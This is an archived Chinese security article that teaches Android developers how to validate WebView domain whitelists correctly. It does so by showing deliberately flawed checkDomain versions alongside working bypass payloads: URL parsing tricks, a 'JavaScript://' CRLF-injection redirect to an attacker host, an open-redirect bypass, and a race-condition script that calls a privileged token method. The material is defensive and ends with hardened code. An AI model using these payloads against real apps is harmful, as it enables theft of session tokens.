24

一文彻底搞懂安卓WebView白名单校验 - FreeBuf互联网安全新媒体平台

 4 years ago
source link: https://www.freebuf.com/articles/terminal/201407.html?
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

一文彻底搞懂安卓WebView白名单校验 - FreeBuf网络安全行业门户icon/FB金币企业标识Icon/小程序icon/红包左箭头引号编组

主站
漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全
头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
一文彻底搞懂安卓WebView白名单校验
一文彻底搞懂安卓WebView白名单校验
rebeyond 2019-04-23 13:30:30 370247 16

近两年端侧发现的漏洞很大一部分都出在WebView白名单上,针对这类漏洞安全编码团队也组织过多次培训,但是这种漏洞还是屡见不鲜。下面本人就结合产品中容易出现问题的地方,用实例的方式来总结一下如何正确使用WebView白名单,给开发的兄弟们作为参考。

在Android SDK中封装了一个可以很方便的加载、显示网页的控件,叫做WebView,全限定名为:android.webkit.WebView。WebView是SDK层的一个封装,底层实现是Chromium(Android 4.4之前是webkit)。由于WebView功能非常强大,目前很多公司的 App 就只使用一个WebView 作为整体框架,App中的所有内容全部使用HTML5进行展示,这样只需要写一次HTML5代码,就可以在多个平台上运行,而不需要更新端侧APP本身。

WebView只是Android SDK中的一个控件,其本身就像一个与APP隔离开的容器,在WebView中加载的所有页面都运行在这个容器中,无法与APP Java(或者Kotlin)层或者native层交互。为了使H5页面更方便地与APP进行交互,Webview提供了一个addJavascriptInterface方法,该方法可以把一个Java类注入到当前WebView的实例中,这样利用该Webview实例加载的页面就可以方便地利用Javascript与Java层通信了。

首先我们先写一个极简demo APP,这个APP只有一个全屏的webview控件在MAinActivity中,webview中通过addJavascriptInterface注入了一个名为myObj的Java对象,myObj为该对象在Javascript世界中的名字,其在Java中对应的类名为JsObject。APP打开的时候会加载https://www.rebeyond.net/poc.htm,poc.htm中的js代码会调用Java世界中的getToken方法,并把getToken的返回值通过alert弹框显示。

demo APP代码如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() { return "{\"token\":\"1234567890abcdefg\"}"; }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");
        webView.loadUrl("https://www.rebeyond.net/poc.htm");
    }
}

poc.htm代码如下:

<script>
    alert(window.myObj.getToken());
</script>

APP运行效果:

1.jpg

OK,上面是JavaScriptInterface的一个简单功能演示,下文随着案例深入我们会逐渐扩充这段代码,下面言归正传。

如何正确校验白名单

下面我们预设一个场景:该demo APP开发人员小A认为getToken这个方法返回的字符串是一个用户会话标识,属于敏感信息,不应该就这样完全暴露出去,只有白名单中的域名及其子域名才允许调用该方法。所以配置了一个白名单列表,如下:

String[] whiteList=new String[]{"site1.com","site2.com"};

并实现了校验逻辑来判断调用方的域名是否在白名单内,不过这个校验逻辑并没有他当初想象的那么简单,里面有很多坑,下面我们围观下他的心路历程:

Round 1

对用户输入的URL进行域名白名单校验,小A首先想到的是用indexOf来判断,代码如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() { return "{\"token\":\"1234567890abcdefg\"}"; }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="https://www.rebeyond.net/poc.htm";

        if (checkDomain(inputUrl))
        {
            webView.loadUrl(inputUrl);
        }
    }

    private static boolean checkDomain(String inputUrl)
    {
        String[] whiteList=new String[]{"site1.com","site2.com"};
        for (String whiteDomain:whiteList)
        {
            if (inputUrl.indexOf(whiteDomain)>0)
                return true;
        }
        return  false;
    }
}

绕过

这个校验逻辑错误比较低级,攻击者直接输入http://www.rebeyond.net/poc.htm?site1.com就可以绕过了。因为URL中除了代表域名的字段外,还有路径、参数等和域名无关的字段,因此直接判断整个URL是不安全的。虽然直接用indexOf来判断用户输入的URL是否在域名白名单内这种错误看上去比较low,但是现实中仍然有不少缺乏安全意识的开发人员在使用。

Round 2

当然小A作为一个资深开发,很快自己便发现了问题所在,他意识到想要匹配白名单中的域名,首先应该把用户输入的URL中的域名提取出来再进行校验才对,于是他自己做了一个升级版,代码如下:

private static boolean checkDomain(String inputUrl)
{
    String[] whiteList=new String[]{"site1.com","site2.com"};
    String tempStr=inputUrl.replace("://","");
    String inputDomain=tempStr.substring(0,tempStr.indexOf("/")); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.indexOf(whiteDomain)>0)
            return true;
    }
    return  false;
}

绕过

首先我们看一下RFC中对URL格式的描述:

<protocol>://<user>:<password>@<host>:<port>/<url-path>

小A由于缺乏对URL语法的了解,错误的认为://和第一个/之间的字符串即为域名(host),导致了这个检测逻辑可以通过如下payload绕过:​
http://[email protected]/poc.htm攻击者利用URL不常见的语法,在URL中加入了Authority字段即绕过了这段校验。Authority字段是用来向所请求的访问受限资源提供用户凭证的,比如访问一个需要认证的ftp资源,用户名为test,密码为123456,可以直接在浏览器中输入URL:ftp://test:[email protected]/。

Round 3

小A意识到通过字符串截取的方式来获取host可能不太安全,于是去翻了一下Java文档,发现有个java.net.URL类可以实现URL的格式化,于是他又写了一个改进版:

private static boolean checkDomain(String inputUrl) throws MalformedURLException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URL url=new java.net.URL(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.indexOf(whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

使用java.net.URL确实可以得到比较准确的host,但是小A仍然使用了indexOf来判断,所以还是可以很简单的通过如下payload绕过:

http://www.site2.com.rebeyond.net/poc.htm

上述URL的host中包含site2.com字符串,但是www.site2.com并不是域名,而是rebeyond.net这个域名的一个子域名,所以最终还是指向了攻击者控制的服务器。

Round 4

既然indexOf不能用,那还可以选择startsWith、endsWith或者equals,不过一般白名单匹配的时候都要匹配子域名,所以equals和startsWith被排除,于是小A用endWith又写了一个版本:

private static boolean checkDomain(String inputUrl) throws MalformedURLException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URL url=new java.net.URL(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith(whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

通过java.net.URL提取域名,然后通过endWith来匹配白名单,聪明的你一定想到了如下payload来绕过endsWith的匹配:

http://rebeyondsite1.com/poc.htm

只要注册一个以site1结尾的顶级域名就可以绕过白名单了,我查了一下rebeyondsite1.com这个域名可以注册,一年只要60块钱:)

2_new.PNG

Round 5

小A现在知道问题出在哪了,只要在endsWith的时候,在白名单前面加个点,就可以避免这种情况了,于是又改进一个版本:

private static boolean checkDomain(String inputUrl) throws MalformedURLException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URL url=new java.net.URL(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

经过了上面几轮错误的修正,目前这个版本看上去应该没什么问题了。真的没问题了么?如果java.net.URL可以得到绝对准确的host,那确实没问题了,但事实上,java.net.URL并不是完全可信,比如下图:

3_new.png
https://www.rebeyond.net\\@www.site1.com/poc.htm

上述URL通过java.net.URL的getHost方法得到的host是www.site1.com,但实际上访问的确是www.rebeyond.net服务器,可以看到www.rebeyond.net服务器上收到了如下这条访问日志:

4_new.PNG

只要在www.rebeyond.net这个攻击者服务器上放置/@.site1.com/poc.htm这样一个文件,就可以绕过白名单调用JavaScriptInterface里的getToken了。

当然除了上面那种用@符号绕过的方法外,还有另外一种:​
https://www.rebeyond.net\\.site1.com上述URL经过java.net.URL的getHost方法提取得到的是www.rebeyond.net.site1.com,可以绕过白名单域名的endsWith匹配,但是实际访问的确是www.rebeyond.net服务器,访问日志如下图:

5_new.PNG

该问题在最新的Java10仍然存在,现已提交至Oracle官方修复。另外,android.net.Uri存在同样的问题,不过在18年1月和4月分别修复了这两个bug,git commit见文末参考链接。

Round 6

连JDK自带的java.net.URL都有问题,那还有什么安全的方法么?有的,那就是java.net.URI。如下是小A用java.net.URI对Round5中的绕过payload进行的测试结果:

6_new.png
7_new.PNG

可以看到畸形的URL会直接抛异常。小A痛定思痛,写下了下面这个版本,用java.net.URI代替java.net.URL:

private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URI url=new java.net.URI(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕过

上面这种写法,对于单纯的host的校验来说,确实没有问题了,但是如果攻击者在协议名称上动点手脚,还是可以绕过。在讲绕过方法之前,我们先看一段代码:

package rebeyond.net.myapplication;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());

        String inputUrl="javascript:alert('hello world');";
        webView.loadUrl(inputUrl);
    }
}

执行结果如下图:

8.jpg

可以看到,webview的loadUrl方法可以直接执行JavaScript伪协议中的代码,于是构造如下URL,即可绕过java.net.URI的检测:

JavaScript://www.site1.com/%0d%0awindow.location.href='http://www.rebeyond.net/poc.htm'

上述URL的getHost结果为www.site1.com,如下图:

9_new.PNG

但是webview实际执行的是如下两行JavaScript代码:

//www.site1.com/ 
window.location.href='http://www.rebeyond.net/poc.htm'

第一行通过//符号来骗过java.net.URI获取到值为www.site1.com的host,恰好//符号在Javascript的世界里是行注释符号,所以第一行实际并没有执行;然后通过%0d%0a换行,继续执行window.location.href='http://www.rebeyond.net/poc.htm'请求我们的poc页面,最终可以成功绕过白名单限制调用getToken接口,执行效果如下:

10.jpg

Round 7

小A恍然大悟:看来坏人在协议上面也能做手脚,那我只要再加个协议名称校验就可以了,三下五除二写了个最终版:

private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
    if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
    {
        return false;
    }
    String[] whiteList=new String[]{"site1.com","site2.com"};
    java.net.URI url=new java.net.URI(inputUrl);
    String inputDomain=url.getHost(); //提取host
    for (String whiteDomain:whiteList)
    {
        if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
            return true;
    }
    return  false;
}

绕不过

域名白名单校验逻辑经过上述7个小版本的迭代,终于得到了一个比较完善的版本。如果不考虑白名单域名服务器自身有安全问题的情况,这个校验逻辑目前是安全的,推荐大家采用。

在哪里校验白名单

上面我们得到了一个安全的白名单校验方法,然后问题来了,应该在哪个地方调用这个校验方法呢?前面我们只在loadUrl之前校验了一次,这样够么?不够。

URL跳转绕过

上述“最终版”的校验逻辑确实可以安全地校验域名白名单,但是整体的校验方案仍然不是最优,下面继续来看个例子:

https://www.site1.com/redirect.php?url=http://login.site1.com

这是我虚构的一个URL,该URL的功能是跳转至SSO登录页面。打开这个URL后,服务器会返回一个302响应:

11_new.png

然后浏览器侧会再次请求Location中指定的URL。对于大型网站而言,特别是有单点登录功能的网站,这种类型的接口很常见。如果攻击者构造如下URL,是不是就可以绕过域名白名单了呢?答案是可以绕过。

https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm

我们来测试一下,把demo APP稍作修改,加一些log,完整代码如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken");
            return "{\"token\":\"1234567890abcdefg\"}";
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm";
        try {
            if (checkDomain(inputUrl))
            {
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
    }
    private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        java.net.URI url=new java.net.URI(inputUrl);
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

我们在checkDomain校验返回true的时候和调用JavascriptInterface getToken的时候,分别打印一条日志。APP 运行日志如下:

12_new.png

可以看到我们通过一个URL跳转顺利绕过了域名白名单校验。

根据上面的分析可以得出,Webview在请求https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm的时候,实际是发出了两次请求,第一次是在loadUrl中请求https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm,第二次是请求https://www.rebeyond.net/poc.htm,但是第二次请求发生在loadUrl之后,而我们的白名单校验逻辑在loadUrl之前,才导致了绕过。有什么方法可以在请求每个URL的时候都插入校验逻辑呢?那就是重写webview的shouldOverrideUrlLoading方法,该方法会在webview后续加载其他url的时候回调:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;

import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken");
            return "{\"token\":\"1234567890abcdefg\"}";
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                Log.e("rebeyond","start to shouldOverrideUrlLoading url:"+request.getUrl());
                return super.shouldOverrideUrlLoading(view, request);
            }
        });
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="https://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm";
        try {
            if (checkDomain(inputUrl))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
    }
    private static boolean checkDomain(String inputUrl) throws  URISyntaxException {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        java.net.URI url=new java.net.URI(inputUrl);
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

看一下APP的logcat:

13_new.PNG

可以看到webview的第二次请求被shouldOverrideUrlLoading拦截到,因此除了在loadUrl之前校验白名单之外,还要在shouldOverrideUrlLoading中再校验一次,如下为改进版:

package rebeyond.net.myapplication;
public class MainActivity extends AppCompatActivity {        class JsObject {            @JavascriptInterface            public String getToken() {                Log.e("rebeyond","i am in getToken");                return "{\"token\":\"1234567890abcdefg\"}";            }        }        @Override        protected void onCreate(Bundle savedInstanceState) {            super.onCreate(savedInstanceState);            setContentView(R.layout.activity_main);
        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                Log.e("rebeyond","start to shouldOverrideUrlLoading url:"+request.getUrl());
                String inputUrl=request.getUrl().toString();
                if (checkDomain(inputUrl))
                {
                    return false; //域名校验通过,允许请求
                }
                return true; //域名校验失败,终止请求
            }
        });
        webView.setWebChromeClient(new WebChromeClient());
        webView.addJavascriptInterface(new JsObject(),"myObj");

        String inputUrl="http://www.site1.com/redirect.php?url=https://www.rebeyond.net/poc.htm";
            if (checkDomain(inputUrl))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
    }
    private static boolean checkDomain(String inputUrl)  {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        java.net.URI url= null;
        try {
            url = new java.net.URI(inputUrl);
        } catch (URISyntaxException e) {
            return false;
        }
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

通过在shouldOverrideUrlLoading中加入白名单校验逻辑就可以保证webview所有加载的页面不会超出白名单的范围。这个解决方案一句话总结就是:只在loadUrl之前校验白名单还不够,还要在shouldOverrideUrlLoading中再校验一次。

JavaInterface接口安全分级

我们继续回到小A的心路历程里来,假如小A开发的所有JavascriptInterface接口都是同一个安全等级,那上述的方案已是最佳校验方案。但是小A接到了另外一个需求:该APP需要和多家第三方公司合作,需要提供一些不包含敏感信息的接口给第三方H5页面调用。要求在JsObject中增加一个方法getUsername。之前的getToken方法只开放给 .site1.com,getUsername方法同时开放给.site2.com和*.site1.com。小A心想:这个简单,把checkDomain方法修改一下,在白名单内部做个等级划分,site2.com和site1.com为0级,代表低安全等级;site1.com为1级,代表高安全等级,然后只要在JavascriptInterface方法中再加一个校验逻辑即可,于是一鼓作气写下了如下代码:

package rebeyond.net.myapplication;

public class MainActivity extends AppCompatActivity {
    class JsObject {
        private String currentHost;
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken under host:"+currentHost);
            if (checkDomain(currentHost,1)) //安全等级高,只信任site1.com
            {
                Log.e("rebeyond","allowed to call getToken");
                return "{\"token\":\"1234567890abcdefg\"}";
            }
            else
            {
                Log.e("rebeyond","not allowed to call getToken");
                return "";
            }
        }
        @JavascriptInterface
        public String getUsername() {
            Log.e("rebeyond","i am in getUsername under host:"+currentHost);
            if (checkDomain(currentHost,0)) //安全等级低,信任site1.com和site2.com
            {
                return "{\"userName\":\"root\"}";
            }
            else
                return "";
        }

        public void setCurrentHost(String currentHost) {
            this.currentHost = currentHost;
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final JsObject jsObject=new JsObject();
        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                String inputUrl=request.getUrl().toString();
                Log.e("rebeyond","override url :"+inputUrl);
                jsObject.setCurrentHost(inputUrl); //把webview将要加载的URL传递给JsObject
                if (checkDomain(inputUrl,0))
                {
                    return false; //域名校验通过,允许请求
                }
                return true; //域名校验失败,终止请求
            }
        });
        webView.setWebChromeClient(new WebChromeClient());

        webView.addJavascriptInterface(jsObject,"myObj");

        String inputUrl="https://www.site2.com/poc.htm";

            if (checkDomain(inputUrl,0))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                webView.loadUrl(inputUrl);
            }
    }
    private static boolean checkDomain(String inputUrl,int securityLevel)  {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        if (securityLevel==0) //低安全等级,该等级下信任site1.com和site2.com
        {
            whiteList=new String[]{"site1.com","site2.com"};
        }
        else if (securityLevel==1)  //高安全等级,该等级下只信任site1.com
        {
            whiteList=new String[]{"site1.com"};
        }
        java.net.URI url= null;
        try {
            url = new java.net.URI(inputUrl);
        } catch (URISyntaxException e) {
            return false;
        }
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

上面这代码咋看貌似没什么问题,严格的白名单校验方法checkDomain;考虑到了URL重定向的情况重写了shouldOverrideUrlLoading。每一次shouldOverrideUrlLoading的时候都把新的URL传给JsObject中以备在JavascriptInterface中检测。

是的,这种情况如果想用白名单外的域名来绕过暂时是没有可能了,但是如果是白名单内的一个安全等级比较低的域名(比如APP开放给第三方合作伙伴的低权限白名单)想要越权访问安全等级比较高的JavascriptInterface接口,这段代码实现还是可以被绕过的。问题就出在这个shouldOverrideUrlLoading上,攻击者可以通过操纵shouldOverrideUrlLoading的URL来实现低安全级别的域名调用高安全级别的JavascriptInterface。怎么实现呢?大家如果研究过前端hack技术的话一定听说过一个常用的技术叫“Load and Overwrite Race Conditions”,就是利用竞态条件来欺骗浏览器,这种利用方法在地址栏欺骗这类攻击中非常多见,下面我们可以把这个思想借鉴到白名单的绕过中。

下面我们假设site2.com为第三方合作伙伴的域名,而且这个域名现在已经可以被攻击者控制(这个攻击者可以是第三方自己,也可以是渗透到第三方网络内部的其他人),先看一下我们之前的poc.htm:

<script>
    alert(window.myObj.getToken());
</script>

运行APP,加载https://www.site2.com/poc.htm,logcat如下:

14_new.png

getToken方法没有被调用,这在我们意料之中,下面把poc.htm的代码稍作修改:

<script>
    var test=function (){alert(window.myObj.getToken());};
    setTimeout(test,500);
    document.location.href="https://www.site1.com";
</script>

运行APP,加载https://www.site2.com/poc.htm,logcat如下:

15_new.png

可以看到我们用存在于site2.com域名下的js成功骗过webview,调用了只有site1.com域名才有权限调用的getToken方法。解释一下POC:

首先site2.com是security level为0的普通白名单,可以通过loadUrl之前的checkDomain检测,此时JsObject中的currentHost被赋值为site2.com

webview加载site2.com下的poc.htm

poc第一步先定义一个延迟执行函数test,延迟500ms,test函数中调用getToken

poc第二步执行document.location.href="https://www.site1.com",此时webview会打开https://www.site1.com,shouldOverrideUrlLoading方法被回调,这个时候webview会把www.site1.com赋值给JsObject中的currentHost

然后poc之前定义的一个延迟执行函数开始执行,getToken被调用,这时getToken中的域名校验函数会对JsObject中的currentHost进行安全等级校验,不过此时的currentHost已经被改写为site1.com,可以顺利通过校验

成功在site2.com域中调用到site1.com域才有权限调用的getToken函数,纵向越权绕过成功

这里我们利用的竞态条件是:当document.location.href="https://www.site1.com"刚开始执行,shouldOverrideUrlLoading被回调,但是site2.com的DOM还没销毁的间隙,可以让延迟函数成功执行。如果延迟执行设置的时间间隔比较久,可能site2.com页面的DOM已经被销毁,setTimeout所设置的延迟执行函数也就不会再执行了,利用就会失败。

另外,据我所知有开发人员只在JavascriptInterface中进行域名校验,这样即使校验逻辑写的再好,也于事无补。

这个竞态条件可以成功被利用的根本原因是currentHost的值攻击者完全可控,换句话说就是我们通过shouldOverrideUrlLoading这个回调方法的第二个参数去取URL是不安全的,攻击者可以通过js任意修改shouldOverrideUrlLoading中可获取到的URL值。对于开发人员来讲,只想获取到webview加载的“主URL”,该“主URL”派生的其他攻击者完全可控的URL,特别是跨域的其他URL,不应该被用来作为安全校验的因素。所以需要把获取当前URL的方法改一下,从shouldOverrideUrlLoading的第一个参数webview中获取,利用webview.getUrl方法,该方法不会受js代码的影响,改进版如下:

package rebeyond.net.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;

import java.net.URISyntaxException;


public class MainActivity extends AppCompatActivity {
    class JsObject {
        private String currentHost;
        @JavascriptInterface
        public String getToken() {
            Log.e("rebeyond","i am in getToken under host:"+currentHost);
            if (checkDomain(currentHost,1)) //安全等级高,只信任site1.com
            {
                Log.e("rebeyond","allowed to call getToken");
                return "{\"token\":\"1234567890abcdefg\"}";
            }
            else
            {
                Log.e("rebeyond","not allowed to call getToken");
                return "";
            }

        }
        @JavascriptInterface
        public String getUsername() {
            Log.e("rebeyond","i am in getUsername under host:"+currentHost);
            if (checkDomain(currentHost,0)) //安全等级低,信任site1.com和site2.com
            {
                return "{\"userName\":\"root\"}";
            }
            else
                return "";
        }

        public void setCurrentHost(String currentHost) {
            this.currentHost = currentHost;
        }
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final JsObject jsObject=new JsObject();
        WebView webView = (WebView) findViewById(R.id.myWebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
                String inputUrl=request.getUrl().toString();
                Log.e("rebeyond","override url :"+inputUrl);
                Log.e("rebeyond","set JsObject currentHost :"+view.getUrl());
                jsObject.setCurrentHost(view.getUrl()); //把webview将要加载的URL传递给JsObject,从webview中取url,不要从request中取url
                if (checkDomain(inputUrl,0))
                {
                    return false; //域名校验通过,允许请求
                }
                return true; //域名校验失败,终止请求
            }
        });
        webView.setWebChromeClient(new WebChromeClient());

        webView.addJavascriptInterface(jsObject,"myObj");

        String inputUrl="https://www.site2.com/poc.htm";
            if (checkDomain(inputUrl,0))
            {
                Log.e("rebeyond","start to loadUrl:"+inputUrl);
                Log.e("rebeyond","i am a white domain");
                jsObject.setCurrentHost(inputUrl); //把webview将要加载的URL传递给JsObject
                webView.loadUrl(inputUrl);
            }
    }
    private static boolean checkDomain(String inputUrl,int securityLevel)  {
        if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://"))
        {
            return false;
        }
        String[] whiteList=new String[]{"site1.com","site2.com"};
        if (securityLevel==0) //低安全等级,该等级下信任site1.com和site2.com
        {
            whiteList=new String[]{"site1.com","site2.com"};
        }
        else if (securityLevel==1)  //高安全等级,该等级下只信任site1.com
        {
            whiteList=new String[]{"site1.com"};
        }
        java.net.URI url= null;
        try {
            url = new java.net.URI(inputUrl);
        } catch (URISyntaxException e) {
            return false;
        }
        String inputDomain=url.getHost(); //提取host
        for (String whiteDomain:whiteList)
        {
            if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com      app.site2.com
                return true;
        }
        return  false;
    }
}

运行APP,取logcat如下:

16_new.png

问题完美解决。

前面跟了小A一路的心路历程,略显繁琐,下面给做开发的朋友们做个总结:

白名单校验函数到底该怎么写?

private static boolean checkDomain(String inputUrl) throws URISyntaxException {

      if (!inputUrl.startsWith("http://")&&!inputUrl.startsWith("https://")) //重要提醒:建议只使用https协议通信,避免中间人攻击
      {
          return false;
      }
      String[] whiteList=new String[]{"site1.com","site2.com"};
      java.net.URI url=new java.net.URI(inputUrl);
      String inputDomain=url.getHost(); //提取host,如果需要校验Path可以通过url.getPath()获取
      for (String whiteDomain:whiteList)
      {
          if (inputDomain.endsWith("."+whiteDomain)||inputDomain.equals(whiteDomain)) //www.site1.com      app.site2.com
              return true;
      }
      return  false;
  }
可以总结为如下几条开发建议:  
* 不要使用indexOf这种模糊匹配的函数; 
* 不要自己写正则表达式去匹配;
* 尽量使用Java封装好的获取域名的方法,比如java.net.URI,不要使用java.net.URL;
* 不仅要给域名设置白名单,还要给协议设置白名单,一般常用HTTP和HTTPS两种协议,不过强烈建议不要使用HTTP协议,因为移动互联网时代,手机被中间人攻击的门槛很低,搭一个恶意WiFi即可劫持手机网络流量;
* 权限最小化原则,尽量使用更精确的域名或者路径。 

当然上述代码可能不完全符合业务开发需求,这里只是给大家一个参考,大家可以参考本文的案例自己开发出更适合的校验方法。

